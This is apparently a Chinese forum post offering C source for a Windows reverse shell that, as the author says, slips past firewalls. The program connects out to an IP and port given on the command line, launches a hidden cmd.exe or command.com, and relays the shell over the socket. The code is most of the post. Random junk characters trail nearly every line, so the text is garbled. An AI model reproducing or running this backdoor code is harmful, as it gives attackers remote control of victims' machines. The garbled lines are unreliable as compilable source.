Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 p2\mPFxEP  
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/* ============================== tt%lDr1A)  
Rebound port in Windows NT O0i)Iu(J7;  
By wind,2006/7 Zd Li<1P*d  
===============================*/ u\uYq  
#include KK|AXoBf  
#include e; #"
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#pragma comment(lib,"wsock32.lib") ]a ,H!0i  
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void OutputShell(); F^xhhz&e  
SOCKET sClient; S.Z2gFE&tu  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }5I+VY7a  
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void main(int argc,char **argv) 6(9S'~*'R  
{ >0kZ-M5  
WSADATA stWsaData; Te:
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int nRet; #$ Q2ijT0  
SOCKADDR_IN stSaiClient,stSaiServer; ='p&T
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if(argc != 3) UF$JVb  
{ kg@Okz N%  
printf("Useage:\n\rRebound DestIP DestPort\n"); Oapv`Z\i~  
return; (/oHj^>3N`  
} O6gl[aZN  
2L!wbeTb;  
WSAStartup(MAKEWORD(2,2),&stWsaData); \TF='@u.  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7v8V0Gp  
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stSaiClient.sin_family = AF_INET; 1_aUU,|.  
stSaiClient.sin_port = htons(0); 2A5R3x=\  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )nI}KQJ<  
}\s\fNSQ/  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) vs`"BQYf  
{ 7tEkQZMDI  
printf("Bind Socket Failed!\n"); @5im*ubzM  
return; )e1&[0  
} :nYnTo`  
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stSaiServer.sin_family = AF_INET; zHEH?xZ6sD  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]rpU3 3  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &m8#^]*  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) d[p-zn.  
{ D;@nrj`.  
printf("Connect Error!"); Ui^~A  
return; l[_y|W5  
} </.9QV  
OutputShell(); ~g6`Cp`  
} g ss 3e&  
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void OutputShell() b!h*I>`  
{ (iT?uMRz  
char szBuff[1024]; ]I+"";oQGB  
SECURITY_ATTRIBUTES stSecurityAttributes; "IjCuR;#  
OSVERSIONINFO stOsversionInfo; CXe2G5  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; d"P\ =`+  
STARTUPINFO stStartupInfo; x$
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char *szShell; Q7~9~  
PROCESS_INFORMATION stProcessInformation; >`3wEJ"<  
unsigned long lBytesRead; 3p%B  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ]z
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `2B,+ytW8  
stSecurityAttributes.lpSecurityDescriptor = 0; MKnG:)T<?l  
stSecurityAttributes.bInheritHandle = TRUE; ~"Kf+eFi  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); x=/`W^t2  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); JB_<Haj  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "M GX(SQ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -$@$  
stStartupInfo.wShowWindow = SW_HIDE; &sbKN[xM  
stStartupInfo.hStdInput = hReadPipe; `YK2hr  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; pq3W.7z;b  
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GetVersionEx(&stOsversionInfo); $s*nh>@7  
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switch(stOsversionInfo.dwPlatformId) \NiW(!Z}  
{ {pV\]E\]  
case 1: pd3=^Zi  
szShell = "command.com"; ?$ft3p}  
break; h~!KNF*XW  
default: H}Jdnu|ko  
szShell = "cmd.exe"; _
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break; ?yfw3s  
} .nN>Ipv  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); jHU5>Gt-}  
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send(sClient,szMsg,77,0); i;CVgdQ8  
while(1) z'W8t|m}Pb  
{ 'e/= !"T  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <]SI-  
if(lBytesRead) Z4"SKsJT/>  
{ Ib~n}SA  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Dc2U+U(J  
send(sClient,szBuff,lBytesRead,0); 75^U<Hz-3{  
} !xIK<H{*  
else cC NyW2'  
{ ;cFlZGw   
lBytesRead=recv(sClient,szBuff,1024,0); /"f4aF[  
if(lBytesRead<=0) break; ,?3)L   
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); pPa3byWf  
} PsV1btq]  
} |5;:3K+
 
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return; [}GPo0GY  
}